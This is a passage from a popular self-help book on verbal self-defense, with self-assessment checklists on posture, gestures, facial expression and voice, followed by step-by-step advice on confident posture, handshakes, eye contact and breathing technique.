to having all of your equipment intact. This gives you the proper verbal ammunition to charge forward and
defend yourself against any verbal vultures.
Stand Up and Walk the Walk!
It is well documented that if a person stands and walks like a victim, he will be perceived as weak and helpless.
This is why statistics show that the person projecting this weak image is more likely to be victimized in a
robbery or assault than the person who stands and walks with a confident gait. These individuals project a
“don't mess with me” attitude that usually deters the criminal.
Having a posture and walk reflecting only self-assuredness are extremely vital to your victory in the verbal
battleground.
The Stance of Power.
“Strand up straight!” “Don't hunch your shoulders!” “Keep your head up!”
Sound familiar? Most of our parents repeated these mantras. Those who took heed have excellent postures
today, while those who didn't have carried poor postural habits into their teens and into adulthood.
Because posture is the first thing people see, it is one of the key components to reflect how others who don't
know you will initially treat you. If you don't stand straight, giving the impression of self-respect, they may not
initially treat you as respectfully as they would someone with better posture.
Perceptual psychosocial studies confirm this. One hundred people were shown photos of people with their head
hanging down, rounded shoulders, and stomachs out, while others were shown photos of people with their
heads up, shoulders squared and back, and their stomach in. Poor postured people were perceived as less
popular, more nerdy, less exciting, less ambitious, and less physically attractive than their straight-postured
counterparts.
Look in the mirror or at the videotape of yourself. Now answer “yes” or “no” to the following questions:

Page 69
Posture Evaluation
1. Is your posture stiff and rigid?
2. Is your posture too relaxed or loose?
3. Is your back hunched over?
4. Do you rock back and forth or are you unable to stand still?
5. Do you stand on one leg instead of two?
The next two questions cannot be answered by observing yourself in the mirror or on video. Therefore, think
back to social or business situations you have been involved in when answering them.
6. Do people move away from you when you speak to them because you stand too close?
7. Do people move closer to you because you sit or stand so far away?
If you answered “yes” to any of these questions, you need all the help you can get. Help with your posture
appears in Chapter 6.
Those with stiff and rigid postures are perceived as being uptight and inflexible, cold and distant—not warm
and inviting. These people tend to alienate others, who find them unapproachable and difficult to communicate
with.
While it is great to have a relaxed and inviting stance that indicates self-confidence, a posture that is too loose
or over-relaxed is perceived as being sloppy and unconfident. It is alienating—who wants to be around a slob
who is overly comfortable around you, even if they just met you?
Rocking back and forth is perceived as impatience or anxiousness to leave the scene. It makes others
uncomfortable because your constant movements often contribute to their loss of focus and concentration.
Thus, they find it very difficult to talk to you. Other, more compassionate individuals are also uncomfortable
and may lose their train of thought around you as they empathize with your anxious need to go to the bathroom
or get a drink.
Unless you are a flamingo living in Miami or you are physically challenged and posses only one leg, standing
on one leg is highly distracting. You are perceived as being in pain from an injured leg. Instead of thinking
about the conversation you are engaged in, the other person is wondering what happened to your leg. People
perceive you as immature, because children usually present this stance when talking to others, especially when

Page 70
they are uncomfortable around that person. Others may also perceive you as being not attuned to the present
situation, or too casual. Having others perceive you in this manner does not elicit trust and confidence in you.
Standing too close to someone, especially if there is not a mutual love connection, makes people uncomfortable
for a number of reasons. First, they may become conscious of their possible bad breath or be repelled by your
breath or body odor. Secondly, they may shrink back because they don't want you to get the impression that
they are interested in you. They may perceive you as having a lot of nerve or “chutzpah” as you dare to invade
their precious space. Remember that in some cultures people stand closer to one another than is comfortable for
Westerners.
If someone stands too far away they are perceived as not liking you or being arrogant, snobby, or feeling as
though they are better than you. Even if you have a visual problem and can see people clearly only from a
distance, no one cares. They still perceive you in a bad light, so move closer!
The Walk of Authority
Videotape yourself walking, or have a friend watch you walk up and down a hallway or across a room. Then
answer the following questions.
1. Do you swish and sway when you walk?
2. Do you have a rigid walk, like a soldier?
3. Do you make a lot of noise when you walk?
4. Do you shuffle your feet when you walk?
5. Do you have a tentative, quiet walk?
6. Do you walk too slowly?
7. Do you walk too quickly?
Swishing and swaying while walking has a sexual, seductive connotation. This highly feminine walk may be
off-putting to those who are not interested in you sexually.
A rigid, soldier-like march portrays an uptight, alienating, and angry disposition.
People who make a lot of noise when they walk often give the impression of being obnoxious and craving
attention. Shufflers are perceived as lazy or insecure or sad and depressed. One who walks too fast appears
angry or anxious (always in a hurry). Fast walkers sometimes seem obnoxious, especially if you are walking
next to them and they sprint ahead of you. If a man does this to a woman in Western culture, he is
Page 71
perceived as insensitive, chauvinistic, and obnoxious. (Of course, be aware that some people have good reasons
for walking quickly. For instance, in the workplace, seeing your boss dash frantically may be a sign not that
she's rude but that she overslept for her big sales meeting!)
I Have to Hand It to You
Answer the following questions about your arm and hand movements.
1. Are your arms crossed when you speak?
2. Do your hands and arms flail around when you speak?
3. Do you usually wonder what to do with your hands?
4. Do you use minimal or no hand movement when you speak?
5. Do you use your hands a lot when you speak?
6. Do you always seem to be fidgeting with your hands?
7. Do you feel compelled to touch everything or everyone in front of you, even if they don't belong to you?
Crossing your arms has other connotations besides being closed off to others. It may be perceived as anger and
alienation and disinterest in what the other person is saying.
Arm flailers, unless they belong to a culture where this is the norm, come across as angry and hostile. Those
who don't know what to do with their hands are perceived as being uncultured, unsophis-ticated, and insecure.
Those who constantly fidget with their hands are perceived as nervous or anxious. Those who touch everything
around them are perceived as annoying, unconscious, unaware, invasive, rude, and out of control.
Dead Head?
Watch yourself from the neck up and answer these nagging noggin questions.
1. Do you stick your neck and jaw out when you speak?
2. Is your head usually tilted down when you speak?
3. Do you cock your head to the right or left side when you speak?
4. Do you turn your head just a little when speaking to someone, while keeping your body in a different
position (usually straight forward) from your head?
5. Do you constantly nod your head “yes” or “no” when you speak?
Page 72
When you stick your neck and jaw forward when speaking or listening, you are perceived as being angry. A
downward-tilted head spells insecurity, a lack of confidence, and unworthiness. Cocking the head to one side
looks like you doubt what the other person has said. It signifies a contentious and suspicious person with an
attitude of “I don't believe you—show me.”
Turning your head and not your body when talking to a person indicates that you are subconsciously keeping
your distance from them. They perceive you as not liking or accepting them.
Unless you are from another culture, you either have a neuromotor problem or are very suspicious and doubtful
about what others say to you. You are perceived as negative and unaccepting or disagreeable. Concurrently, if
you nod your head “yes” all the time you are speaking to a person, you appear overly agreeable or as if you are
seeking approval by giving unmitigated approval to the person to whom you are speaking.
About Face!
Often your facial expressions reflect your feelings more than the words you use. Even though our six basic
emotions—happiness, sadness, anger, disgust, surprise, and fear—are reflected through the face, sometimes we
may make inappropriate facial gestures, which confuse the listener and detract from the message we are trying
to relay.
An exaggerated facial expression can change your facial appearance from attractive to ugly. For example, one
noted singer looks very attractive when she sings. When she speaks, however, it is a different story. It is rather
disconcerting. Her mouth goes from side to side in a camel-like fashion. In addition to her rapid-fire, hostilesounding
speech pattern, she squints her eyes and furrows her brow, which is perceived as anger and disgust.
This particular woman is interested in making the transition from singing to acting. But she has a lot of work to
do in terms of controlling and modifying her inappropriate and unaesthetic facial expressions before she hits
the big screen (or the little screen, for that matter).
When you wear an incongruous facial expression, people get angry or turned off with you and perceive you as
being “weird” or “disconnected” or “not with it.” They may also misinterpret your message, as in the case of
this successful singer.
As you observe yourself in the mirror or on videotape, answer these questions while paying attention to your
facial expressions:
1. Do you mainly seem to have a dull or bored expression when you speak?
2. Do you look angry when you speak, even though you aren't?
3. Do you look sad when you speak, even when you are talking about pleasant things?

Page 73
4. Is your normal facial expression tense with your muscles showing when you speak?
If you answered “yes” to any of these questions, help is on the way in Chapter 6. Since the eyes and mouth are
key elements of your facial language, go back and answer the questions “yes” or “no” as they pertain to your
eyes and mouth.
Eye Deal
For centuries people have said, “the eyes are the windows to the soul.” Therefore, people can tell a lot about
how to deal with you by observing what you do with your eyes.
1. Do you often squint when you speak—furrowing your forehead or knitting your eyebrows together?
2. Do you often open your eyes widely when you speak?
3. Do you look off to the side when speaking?
4. Do your eyes dart around the room when speaking?
5. Do you look people up and down when you talk to them?
6. Are your eyes dull and lifeless?
7. Do you stare?
8. Do you blink too much?
Is Your Mouth Goin' South?
If you don't observe these behaviors in the mirror or on your video, try to recall if you exhibit any of these
actions:
1. Do you usually speak jutting your jaw forward, creating an angry look?
2. Do you move your mouth from side to side when you speak?
3. Do you avoid looking at people when you speak to them?
Page 74
4. Are your lips tense or do you have a strained, pinched smile?
5. Do you have a mask-like smile?
6. Do you curl your upper lip when you speak?
7. Do you hang your mouth open or even drool when listening?
8. Do you spray saliva when speaking?
9. Is there spittle on the corners of your mouth when you speak?
10. Do you clench your jaw when you speak or speak through your teeth, barely opening you mouth?
11. Do you often bite your lips or cheeks?
12. Do you exaggerate your mouth movements when you speak, giving the perception that you have a big
mouth?
13. Do you purse your lips together before or after you make a statement?
14. Do you smack your lips before or after you speak?
Air Born
Believe it or not, the way you breathe can annoy others. If you don't coordinate your breathing with your
talking in an appropriate manner, it may disturb and distract the listener.
1. Do you sound breathy when you speak?
2. Are you out of breath after you speak?
3. Do you take in many little breaths when you speak?
4. Do you sigh, or let out all your air before you speak?
5. Do you sigh, taking in air and abruptly pushing it out when you speak?
Ouch! My Ears Hurt Listening to You!
Research has shown that the way you speak is even more important than the way you look. In fact, the way you
speak can affect how you look. Perhaps you have experienced this firsthand. At least once, you have probably
seen someone who you found attractive, then, after speaking with that person, suddenly decided that he or she
wasn't as attractive as you originally thought. Conversely, as research shows, if a person isn't very attractive but
speaks well, that person is perceived as being more attractive.
Page 75
The way you speak is composed of the pitch of your voice, the quality of your sound, the way you pronounce
things, whether you sound too soft or too loud, how fast you speak, how nasal or non-nasal you are, and how
you communicate. If you answer “yes” in any of the questions in the following categories, you should know
that people are usually not perceiving you in the best light. Just know, however, that your ill-judged talking
traits can be fixed in Chapter 6.
Pitching Your Voice
1. Is your voice too high?
2. Is your voice too low?
3. Do you sound bored or monotonous?
4. Is your speech overly animated or highly dramatic?
5. Are people usually bored or lulled to sleep when you speak?
6. Do you have a squeaky voice?
It's Quality We're After!
1. Does your voice sound breathy?
2. Does your voice sound harsh?
3. Do you attack your sounds when you speak?
4. Do you have a staccato, clipped, machine-gun like pattern when you speak?
5. Do you dislike the sound of your voice?
6. Does your voice sound creaky or crackling, often at the end of sentences?
7. Do you clear your throat before you speak?
8. Is your voice rough and gravely?
9. Does your voice often sound hoarse?

Page 76
Twisting Your Tongue
1. Are you often asked to repeat what you said?
2. Do you often mispronounce words?
3. Do you mumble?
4. Do you repeat sounds, especially at the beginning of words?
5. Do you mispronounce s, z, ch, j, or sh sounds?
6. Do you mispronounce r or l sounds?
7. Do you distort your vowels?
8. Do people often ask you to repeat what you've said due to your accent?
Pump Up the Volume! Drown the Sound!
1. Is your voice loud and booming?
2. Is your voice too soft, prompting people to ask you to speak up?
3. Does your voice fade out at the end of sentences?
4. Do you have bursts of loudness, especially at the beginning of a sentence?
5. Do you have a loud and disturbing laugh?
6. Do you raise your voice at the slightest provocation or when you disagree?
How Fast Were You Going?
1. Do you speak too quickly, so that people ask you to repeat yourself?
2. Do you sound slow and lethargic?
3. Do you pause too long when starting a new thought?
4. Do you not stop after finishing a thought, immediately going on to the next?
The Nose Knows.
1. Do you sound nasal and whiny where there is a vibration or twang in your nose when you speak?
2. Do you sound stuffed up most of the time, as though you have a cold?
Are You Talking to Me?
1. Do you repeat yourself?
2. Do you repeat words?
3. Do you often find that you can't think of words?

Page 77
4. Do you say one thing and mean another?
5. Is it hard to express what you think?
6. Do you often keep your mouth shut for fear of sounding stupid?
7. Do you often say “I don't know” when asked questions?
8. Is your vocabulary limited and do you not understand the meanings of words?
9. Do you often use words in the wrong context?
10. Do you use improper grammar?
11. Do you always seem to forget what you were going to say?
12. Do you often interrupt others, not allowing them to finish a thought?
13. Do you change the topic midstream?
14. Do you often ignore a question, dismissing the topic someone else brings up?
15. Do you often say self-deprecating things to others?
16. Are you usually saying something negative, especially about others?
17. Do you often put your foot in your mouth?
18. Do you joke around, never serious, or make sarcastic comments?
19. Are you blunt and undiplomatic?
20. Do you usually give one-word responses instead of opening up?
21. Are you overly opinionated—“my way or the highway”?
Page 79
Chapter 6
Gaining the Physical Edge
When you fix yourself on the outside, the inside usually follows. I have seen this repeatedly in my private
practice. While serving as a communication specialist in my Beverly Hills and Manhattan offices, I discovered
that when people learn how to properly comport themselves, they feel more powerful and self-assured. This
newfound sense of confidence gives people the ability to function more effectively and live a fuller and richer
life, with better relationships in business and private life.
In this chapter, you learn exactly what it takes to present yourself to others so you'll be perceived as a
formidable individual. You might even become intimidating to your verbal opponent: you will exude a blinding
presence and a newfound sense of self-confidence, which in turn will boost your self-esteem. When your
opponents experience your powerful presence, they will often think twice before verbally attacking you.
Knowing the actual steps of how to improve the components of your total physical being allows you to win the
verbal war and annihilate your opponent.
Page 80
Postural Defense—Staking Out Your Presence
Because your posture is one of the first things people notice about you, you obviously need to stand up straight.
Many people think they are standing up straight when in fact they aren't; you might have noticed your own
poor posture when analyzing yourself in the mirror or on videotape. This problem is most common with people
who are taller than average. They usually stoop to be at eye level with their shorter counterparts.
If people do this during their formative years of height development, hunching their backs, stooping their
shoulders, and bowing their heads can become their normal stance. As we discussed in Chapter 5, this stance
elicits less confidence in others than standing with shoulders squared, back erect, and head up.
You must follow several steps if you wish to have a posture that exudes confidence and a “don't mess with me”
attitude. By adhering to the following steps, you are well on your way towards looking more powerful when
you are standing in front of someone.
1.
Stand Up Straight, Without a Leg Up!
Stand up straight with your feet spread apart, parallel to your shoulders. Place both feet firmly on the ground so
that your weight is distributed evenly on all parts of your feet. This takes pressure off your toes and the sides
and balls of your feet. In essence, you are firmly standing on the soles of your feet. Don't shift your weight
from leg to leg or shift your weight to only one leg. This throws you off and makes you feel insecure. You want
a “leg up” on your verbally toxic opponent, but don't take this statement literally.
Unless you're flamingo living in Miami, never stand on one leg. You'd be surprised

Page 81
at how many public speakers do this when they are behind a podium. They put their weight on one leg while
holding onto the podium—and they wonder why they don't feel as confident when they are speaking in front of
an audience!
2.
Bottoms Up!
Tighten the muscles in your buttocks (your gluteus maximus muscles) by contracting or squeezing your
muscles, thus applying pressure to your buttocks. At first this might feel awkward, but eventually you will
become used to it and over time, you will begin to feel comfortable. As you exercise and strengthen these
muscles, you will have a solid foundation on which to support your erect spine and newfound confident
posture.
3.
Straighten Up and Back Up!
Next, start at the base of your spine and visualize yourself straightening each vertebrae so that you have a
straight and aligned spine. As you visualize your new correct spinal posture, slightly tighten the small muscles
going from your lower back towards your upper back. When doing so, you will notice that there is a forward
shifting of your upper back that will begin from the middle of your back, around your waist area. This too
might seem awkward at first, but as you practice this spinal position, you will feel less pressure in the muscles
in your upper and lower back region because your spine will be in better alignment.
4.
Heads Up!
Part of attaining a confident posture requires the correct positioning of the head and neck. Pretend that there is
a cord or rope softly pulling up the crown of your head. This will automatically allow your eyes to be
positioned properly as you gaze at another person at “eye level.” It prevents you from protruding your jaw or
sticking your neck out. Most of all, it keeps you from bowing your head or from looking down when speaking
to someone.
Walk Up!
The way you walk is a vital component of the way you comport yourself. Some have angry, aggressive walks
that scream “Here I am” or “Get out of my way.” Others walk in a way that says “Just ignore me” or “I'm not
important.” Some people have a happy bounce, skip, or gallop in their gait, while others seem to shuffle,
waddle, and drag themselves along. The only walk that screams “C-O-N-F-I-D-E-N-C-E” consists of the
following steps.
Page 82
1. Begin with an erect posture, head up, shoulders back, and spine straight.
2. Place one foot directly in front of the other at a comfortable distance so that you have a smooth and even
stride. Even though this may seem obvious and elementary to you, you would be surprised at how many people
don't do this and end up waddling, shuffling, or slinking along.
3. Walk at an even and steady pace—not too fast and not too slowly.
4. Finally, let your arms move freely and swing naturally as you walk.
Sit Up!
Just as it is important to stand properly, it is equally important to sit in a way that exudes self-confidence. The
way you sit in a chair speaks volumes about you, whether you realize it or not. Here are the steps you should
follow to make sure this happens.
1. Stand directly in front of your chair.
2. Let your calves touch the seat of the chair.
3. Bend over, placing your buttocks all the way back in the chair.
4. Sit and lean your back against the back of the chair. By placing your buttocks all the way back in the chair
first, your spine will straighten out automatically as it rests against the back of the chair. Doing this also
prevents you from slouching.
5. Roll your shoulders back and relax your arms, either resting them on the arms of the chair or placing your
hands in your lap.
6. Keep your head up. Visualize a string holding up the crown of your head, just as you did while you were
standing. Once again, this keeps your eyes focused at the eye level of the person opposite you.
7. If you feel yourself retreating to your old slouching ways, just remember to push your buttocks all the way
back in the chair. Lean against the back of the chair and remember to keep the crown of your head up.
Uptight? Lighten Up!
A rigid body posture signifies that a person is uptight, frightened, uncomfortable, nervous, or inflexible. Under
certain circumstances, individuals need to be inflexible and follow a rigid code of behavior. But while the order
“head up, shoulders back, chest out” works well if you are in the military, it doesn't work in real-life
circumstances.
Even when you stand up straight with your shoulders back, you need to maintain a relaxed demeanor. The
following shoulder roll exercise is designed to help you release tension in your shoulder region and arms.
Page 83
1. First, rotate the right shoulder forward, and keep it in that position for approximately three seconds.
2. Keeping your right shoulder in that position, rotate the left shoulder forward for three seconds.
3. Now that both of your shoulders are forward, keep them in this position for about three seconds. Feel the
muscles stretch as you maintain this position. It should feel good.
4. Next, rotate the left shoulder back and keep it in that position for three seconds.
5. Likewise, rotate the right shoulder back, keeping it in that position for three seconds.
6. Now that both shoulders are back, leave them there for three seconds, all the while feeling the stretch. This
too, should feel good.
7. Rotate both shoulders forward and both shoulders backwards. Try not to rotate them too far back, and relax
them.
Now your shoulders are in the proper position to help you maintain a good posture.
Up in Arms!
Your arms should hang at your sides in a relaxed fashion. Although arm and hand gestures are essential for
helping you emphasize thoughts or ideas, too much movement can be distracting: arms flapping like a
chicken's wings and fidgeting with your hands and fingers tend to diminish your total image. As I pointed out
in Chapter 5, people perceive you according to the way you comport yourself. Thus, if you move your arms
excessively and this isn't typical for your culture, you may be perceived as being anxious, uncomfortable, or
even angry or out of control.
Hands Up!
To maintain some control over your gestures, be conscious of your gesturing, and do so only to emphasize key
points or ideas. In doing this, it is important to make definite and deliberate hand movements. When you speak,
keep your hands in your lap or relaxed at your sides, with your fingers relaxed. Doing this tends to relax the
rest of your body.
Of course, this doesn't mean you should sit totally motionless. But the motions you do use should be relaxed.
When you use both your hands and arms in a more fluid and open fashion, you are perceived as being warmer
and more approachable.

Page 84
If you notice that you are using your hands too frequently when you speak, try to be mindful and stop or reduce
your hand movements. Being conscious of doing something to excess can often help you modify that behavior.
If you still don't know what to do with your hands, adopt the hand posture of the royals, who tend to keep their
hands clasped in back of them when they stand or walk. Doing this often suggests to others a sense of security,
control, and self-assuredness.
Shake Up!
You can tell a great deal about people by how they shake your hand. In addition, your handshake can reveal
your true feelings about the other person. The looser and less firm your handshake, the more you will be
perceived as weak, timid, or tentative. All too many men, especially large men, use a soft and wimpy
handshake in an attempt to minimize themselves and not appear so threatening. The other extreme, a handshake
that is too strong or tight, might express the attempt to dominate in the interaction and compete for control.
On the other hand (no pun intended), a firm handshake, lasting about three seconds, indicates self-confidence,
especially when you meet a person for the very first time. In order to shake hands with self-assurance, follow
these steps:
1. Be the first one to extend your hand. Do so enthusiastically.
2. Clasp the others person's palm firmly with your palm so that both of your palms are touching one another.
3. Look directly at the person's face using the “face contact” approach discussed later in this chapter.
4. Give their hand about three firm shakes.
5. Then release your grip.
If you really like the person, especially after you meet and get to know one another, you can convey positive
feelings toward the other person by using the “cupping
Page 85
shake.” For this handshake, cup the other person's hand in both your hands, while placing your left hand over
your right hand.
Touch Up!
Ashley Montagu and other researchers and scholars have found that we humans need to be touched to
adequately survive in the world. In light of sexual harassment suits these days, however, people must be careful
about whom they touch, how they touch, and where they touch someone. A seemingly innocent touch may land
you in a courtroom. Sexual harassment suits aside, touching another person is a positive gesture—it shows
others that you have bonded or connected with them.
Although some people (most likely those who suffer from some type of psychological disturbance) shun being
touched and touching others, research shows that most people enjoy touching and being touched, and they react
better to those who touch them than to those who don't.
Touching can break down barriers between people, especially if tension exists. Here are some rules to follow
when touching someone.
1. Never touch anyone who appears by his facial and body language cues not to welcome your touch.
2. Pay attention to how often you touch someone. Touching a person too much is as disturbing to that person as
not touching at all. Once again, monitor facial expressions to determine if your touching is becoming annoying
to the other person.
3. In business situations, touch people only at the level of the shoulders—never below the shoulders or lower
back.
4. In social or personal situations, feel free to touch a person's face, arms, waist, and wherever else you both
agree is acceptable.
Page 86
Face Up!
Remember how when you were growing up, you were told that you should look into a person's eyes when you
talk to him? You were told that only honest people can look you in the eye.
This is nonsense. In reality, research has shown that people who constantly look you in the eye without
breaking their gaze might not be very honest at all; in fact, they might be lying to you.
You don't need to gaze directly into a person's eyes when you speak to her (unless of course you are in love
with her). Doing so can be disconcerting and might indicate that you are taking a hostile or adversarial position
against the person.
What you need is not just eye contact but “face contact.” If you don't look at the person's entire face along with
specific components of the face, how are you going to read all the facial cues of your verbal adversary or
potentially toxic opponent?
In order to give someone the impression that she has your undivided attention, follow these steps religiously:
1. Look at the person's entire face for approximately two seconds.
2. Next, look at the person's eyes for approximately two seconds.
3. Switch your gaze over to her nose and look at it for two seconds.
4. Now look at the person's mouth for two seconds.
5. Go back to step 1 and look at the person's entire face for approximately two seconds, continuing on to steps
2 to 4.
You need to repeat these steps for as long as you are speaking and listening to the person in front of you.
People will not think you look weird as they notice you looking at their eyes, then their nose, mouth, and entire
face. They won't even notice what you are doing. First, it's only a two-second glance on each of the facial
components. Second, the distance
Page 87
from their eyes to their nose to their lips is minimal. It's not a huge football field you are looking at; it's a
person's little face.
Most likely, in fact, people will perceive you as being really interested in them and in what they are saying.
This technique also tends to soften your gaze, which makes you appear more approachable, more
compassionate, and less intense.
Charming, Disarming Smile.
We have all heard the expression “a smile speaks a thousand words.” It's true. A smile can often disarm the
most verbally belligerent person. Don't be afraid to be the first to smile at the other person. And don't be put off
if they don't return your smile. Many people are so self-consumed or preoccupied that they will not notice you
or your smile.
Don't be reactive to others, just smile sincerely. If you think of all the wonderful things in your life, the people
who really love you and the people whom you really love, you will always have a true and radiant smile; your
eyes will sparkle.
Oftentimes you can use a smile to defuse a verbal zinger that you will have to retort. Somehow, a smile makes
what you are saying a lot less biting and stinging, but also more memorable.
The incongruity of your unpleasant, but strong, words and your soft and pleasant facial expression might throw
your opponent off balance.
Kissin' Up!
In this age of sexual harassment suits, you should think twice about whom you kiss hello or goodbye. Like the
cupped handshake mentioned earlier in this chapter, a kiss—especially a final kiss after a wonderful
interaction—cements a bond and expresses what a special interaction it was. In film, television, or other parts
of the entertainment business, kissing or hugging someone hello or goodbye is the norm. With so many fragile
egos and insecurities, and sad feelings due to constant rejection, hugging and kissing help show biz people feel
good about themselves and closer to the person they are hugging and or kissing.
Many people outside the entertainment industry, however, don't know how to kiss or don't feel comfortable
kissing others as a hello or good-by greeting. These kisses are not as serious as sticking your tongue down a
person's throat. But they're more than a boring flat-lipped light touch of the cheek or the phony socialite “air
kiss.” This is not kissing. A kiss is when you pucker up and actually place your lips on a person's cheek or lips,
create suction, and then release the suction a few seconds later. It may seem ridiculous that I am teaching you
how to kiss someone hello or goodbye, but how you kiss someone can either charm them or disarm them.
Page 88
It's very hard not to let down your guard toward an adversary who comes up to you and kisses you. You might
even end up liking them. Try doing this after a tense conversation or a heated discussion. Give them a buss on
the cheek or a hug, and watch what happens as their tense body and angry face relax.
This is an excellent and very powerful technique to use in the following situations:
• You know someone dislikes you for no good reason that you can think of.
• They're jealous of you.
• You have just been in an adversarial conversation or heated discussion.
You can't help but smile afterwards as you see how love and your positive attitude can diffuse the most
negative energy. That is power! That power contributes to your self-esteem, which in turn translates into selfconfidence.
Slipping Up or Messing Up? It All Adds Up and You End Up…!
You should always be conscious of how you come across. You can't slip up on the little things or you will
certainly mess up everything. Mindfulness is the key. You need to maintain a constant vigil in terms of what
you are doing.
Everything adds up if you want to have the physical advantage over your opponent. You need to have every
component of your physical being working in your favor. Not even one part can be missing. You always need
to be conscious of how you stand, sit, walk, hold your head, look at people, shake their hands, and how you
touch or even kiss them. If you ignore any of these components, you are giving your opponent more of an
upper hand in the war of the words.
Step away from yourself consistently and pretend that you are observing yourself outside of your body or from
above. You can even imagine that there is an angel hovering over you, watching every move you make. Doing
this visualization will make you more conscious of your behavior and comportment and its effect upon others.
Page 89
Page 91
Chapter 7
Gaining the Verbal Advantage
You're at a party. You spot a gorgeous woman or man at the other end of the room. With every ounce of
courage you can muster, you coolly saunter over and flash your radiant smile. Your heart beats wildly, your
head pounding like an African drum. You confidently stick out your hand and introduce yourself. The person
reciprocates with a handshake and an introduction, saying “Hi, I'm ___.” The moment you hear “Hi, I'm ___,”
you don't care who they are. You don't want to know. Your ears are deafened by a high-pitched, sickening tone
that shocks you right back into reality, with your pulse rate returning to normal.
The way a person sounds says it all. Research in psycho-social perception shows that people judge you more
by the way you speak than by the way you look. In fact, people who sound good are judged to be more
intelligent, sexually exciting, and successful, and less likely to commit a crime than their poor-sounding
counterparts.
Those who have poor speaking voices are perceived as weak, defenseless, less intelligent, and more victim-like
than those who don't have this voice.
Research in criminal justice indicates that if one walks like a victim, one is more likely to be victimized. The
same holds true for talking. If one sounds like a victim, one is more likely to be victimized in one's personal
and social life. To verbally defend yourself and have the maximum effect on your verbally abusive opponent,
you have to speak in confident and audible tones.
Page 92
To speak in confident powerful tones to convey your points effectively, you must use your speaking
mechanism properly. This mechanism consists of breathing, voice-producing, and speech and pronunciation
mechanisms. This chapter will show you how to use these mechanisms to converse with others effectively. You
will then learn how to incorporate your new-found speaking skills into confident conversation. Finally, you
will learn how to start, maintain, and end a conversation with grace and aplomb.
Defensive Breathing.
Did you ever wonder how the world's greatest singers such as Barbra Streisand or Luciano Pavarotti are able to
hold those powerful tones for such a long time and still continue to sing so effortlessly? Did you ever watch a
pregnant woman use the Lamaze Technique, using her controlled and repeated forceful mouth breathing to
cope with the pain of childbirth? Have you ever heard the loud gut-level grunt when a professional tennis
player serves a ball or a weight lifter lifts the barbell over his head?
Have you ever become completely mesmerized by a professional speaker, unaware that her melodic and
effortlessly flowing tones were responsible for your added interest in what she was saying? How they breathe
allows the professional singer to hold that note, the mother to deliver the baby, the athlete to hit the ball or lift
the weight, and the speaker's information to glide smoothly into your ears.
Most of us take our breathing for granted. We just know that without it we are dead. It is during times of
extreme excitement or stress, however, that we become conscious of how we breathe.
When we are nervous—or, more commonly, when we don't know how to breathe properly—several things can
happen.
1. Our inability to focus and think calmly is impaired.
2. We begin to gasp for air because we have difficulty catching our breath as we speak, causing our opponent
to perceive us as uncontrolled and desperate.
3. Without proper breath control, our voice sounds shaky and tremulous, giving our adversaries ammunition to
perceive us as nervous, tentative, or unsure.
4. Finally, improper breath control can maintain or escalate increased heart rate and blood flow, which can
affect the overall status of your health.
The following section on breathing will show you how to breathe to calm down and gain control of your inner
being, your listening, and your talking.

Page 93
If you don't breathe properly the following things may happen:
• You may have trouble focusing and concentrating.
• You may be perceived as sounding desperate.
• You may be perceived as sounding nervous or tentative.
• Your heart rate may increase, thereby placing you in a more agitated state.
Relaxation Breathing: In—Hold—Out Control!
The Relaxation Breathing Technique is the backbone for all other breathing techniques.
These are the three basic steps for relaxation breathing:
1. Through your mouth only, sip in air for two seconds.
2. Next, hold the breath of air for three seconds without breathing.
3. Finally, exhale the breath of air through your mouth slowly and deliberately for five seconds.
While doing this exercise, you must never move your upper chest when inhaling, and your shoulders must be
down, not raised or hunched. All of the movement—the sipping in of air, the holding of the air, and the release
of air through exhalation—must take place in the abdominal region. Why? The abdominal area is where we use
our muscles to breathe naturally. In fact, if you observe a dog, cat, or small child, you will clearly see that their
abdominal area goes in and out as they breathe. A popular but erroneous idea, passed down from singing
teacher to singing teacher, is that breathing takes place in our diaphragm. This is not so. The diaphragm is a
thin tissue under the lungs that separates the lungs from the stomach and intestines. Whenever you hear
someone tell you that you need to breathe from your diaphragm, you will now know that they really mean the
abdominal region.
Page 94
Mind-Clearing Breaths
One of the principles in the martial art of Aikido is called mushi, a clearing of the mind.
Aikido trains martial artists to gain control mentally over their opponent by clearing their mind of anger. It
allows them to clearly assess the situation and the dangers involved and react accordingly. In fact, breath
control has been used by ancient yogis as a key to inner peace and tranquility, helping them clear their minds of
any negative thought, and allowing them to achieve a higher level of consciousness.
The Relaxation Breathing Technique is essential in clearing the mind and getting rid of anger or “toxic
thoughts.” What happens when we get nervous or anxious or think about all the people and situations that have
made us miserable? We keep taking in shallow little breaths of air that we don't release as frequently as we do
when we are not tense. This leads to a build-up of carbon dioxide, which increases anxiety, often producing
headaches and light-headedness.
The Relaxation Breathing Technique can be used to clear and focus the mind. Even if only for a few moments,
it allows you to have a sort of “mental vacation.” Using the principles of the Relaxation Breathing Technique,
you will notice that your entire world stops for the three seconds that you hold your breath. It seems as though
you are suspended in time and space, which in essence breaks your thought cycle. After doing this exercise for
a series of ten times, you will find, as many of my clients have found, that you feel refreshed, re-energized, and
clear-headed.
Listening Through Breathing
Because your mind is clearer after doing this breathing technique, it allows you to focus on sight and sounds
around you. The next time you are listening to someone speak, take a small (not obvious) sip of air for two
seconds. As you sip in the air, sip in the word they are saying. As you hold your breath for three seconds, allow
what they said to resonate as you digest and clearly process what they said. As you slowly let the air out of
your mouth, you'll become more focused than ever before on what they said. The more you practice this
technique, the better your listening skills will become.
Page 95
Marrying Your Breathing with Your Talking
To speak properly and have good vocal tones, you must sip in air through your mouth (not your nose, since you
breathe through your nose only when you are listening), hold it for a second or so, and then speak on the
exhalation. It is essential to flow out your tones. To coordinate your breathing with your talking, you must
follow the principles of the Relaxation Breathing Technique. However, instead of exhaling air, exhale while
saying the ha sound for as long as you can.
Vocal Defense
As we noted earlier, Galen, the ancient Greek philosopher, once said that it is the voice, not the eyes, that is the
mirror to the soul. When you have an appealing sound to your voice, the whole world opens up to you. Thus
your voice is one of your greatest weapons in the art of verbal self defense.
Unfortunately, many people do not possess pleasant sounding voices. In fact, most voices are rather annoying.
Studies have determined that if we listen to annoying voices over a period of time, we either become irritable
and agitated or we tune out what is being said. This obviously puts you at a disadvantage if you plan to verbally
defend yourself with a voice that sounds too soft, too harsh, too loud, too high, or too boring.
This section gives you techniques to effectively remedy these vocal ailments. Before you set forth to improve
any vocal problems, however, you must be conscious of factors that might harm your voice. Following is a list
of pointers that can contribute to a healthy voice box and a strong and confident sounding voice.
Your Most Overlooked Organ—Your Voice Box.
Most of us hardly ever think about our voice box, unless we read about a major singer who can no longer sing
or speak because she has injured hers.
Your voice box consists of a little muscle the size of an adult thumbnail. It looks like an inverted V, covered
with a layer called a mucous membrane.
